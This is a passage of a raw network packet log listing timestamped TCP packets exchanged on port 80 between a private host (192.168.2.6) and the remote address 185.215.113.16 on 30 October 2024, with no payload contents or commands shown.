Oct 30, 2024 05:24:27.669279099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669290066 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669318914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669342041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669445992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669456959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669467926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669478893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669485092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669502974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669502974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669516087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669524908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669537067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669539928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669564962 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669573069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669584036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669603109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669605970 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669614077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669639111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669663906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669675112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669708014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669709921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669723988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669745922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669758081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669760942 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669800997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669807911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669820070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669831038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669847012 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669861078 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.669891119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669958115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669969082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669979095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.669997931 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.670025110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.671310902 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.671436071 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.741581917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.741595030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.741605997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.741657972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.741663933 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.741668940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.741681099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.741715908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.741853952 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.785841942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.785876036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.785886049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.785960913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.785959959 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.785975933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.785989046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786010981 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786015987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786027908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786034107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786039114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786041021 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786050081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786083937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786283016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786297083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786307096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786325932 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786353111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786354065 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786365032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786375999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786415100 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786427021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786462069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786463022 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786473989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786550045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786560059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786571026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786587000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786612034 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786617041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786628008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786638021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786649942 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786649942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786674976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786684990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786701918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786712885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786719084 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786724091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786745071 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786778927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786791086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786818981 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786825895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786837101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786848068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786859035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786866903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786885977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786896944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786906958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786919117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786927938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786927938 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786953926 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.786976099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.786984921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787014008 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787046909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787056923 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787067890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787079096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787079096 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787103891 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787328005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787359953 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787394047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787404060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787427902 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787439108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787450075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787460089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787472010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787488937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787516117 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787559986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787570953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787586927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787597895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787606955 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787609100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787631989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787683010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787693024 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787704945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787714958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787719011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787724972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787740946 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787764072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787775993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787786961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787797928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787808895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787816048 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787822008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787834883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787842989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787861109 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787878036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787889957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787919998 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.787923098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787935019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787945032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.787976980 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788017035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788027048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788038015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788048029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788058043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788058996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788073063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788073063 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788101912 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788101912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788114071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788125038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788142920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788158894 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788187027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788197041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788208008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788223982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788230896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788247108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788258076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788264036 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788270950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788294077 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788336039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788347006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788357019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788367033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788367987 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788378954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788391113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788393021 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788407087 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788463116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788475037 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788485050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788496017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788507938 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788521051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788531065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788532019 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788553953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788558006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788573027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788587093 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788609982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788619995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788630962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788640022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788650036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788650990 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788661003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.788675070 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.788692951 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830266953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830284119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830303907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830317020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830329895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830343008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830355883 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830370903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830389023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830390930 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830418110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830446005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830468893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830495119 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830496073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830508947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830523014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830534935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830545902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830555916 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830565929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830583096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830588102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830602884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830622911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830635071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830653906 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830658913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830677032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830684900 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830688953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830704927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830715895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830727100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830737114 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830759048 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830771923 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830784082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830794096 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830796957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830806971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.830838919 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.830864906 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.860698938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.860712051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.860723019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.860775948 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.860923052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.860934973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.860945940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.860965967 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.860986948 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.905247927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905261040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905286074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905303955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905317068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905328989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905339956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905360937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.905366898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905395031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905405045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.905420065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905428886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905431986 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.905441046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905464888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.905483961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.905829906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905848980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905860901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905900955 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.905947924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905963898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.905983925 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.905992031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906003952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906016111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906024933 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906027079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906040907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906050920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906053066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906080008 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906097889 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906109095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906119108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906127930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906138897 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906156063 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906447887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906506062 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906518936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906543970 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906555891 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906569004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906589031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906600952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906620026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906631947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906637907 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906668901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906677961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906682014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906723022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906733990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906743050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906764984 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906809092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906821012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906831980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906856060 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906883001 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906908035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906920910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906949043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906959057 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.906961918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906972885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.906985044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.907007933 CET	49760	80	192.168.2.6	185.215.113.16
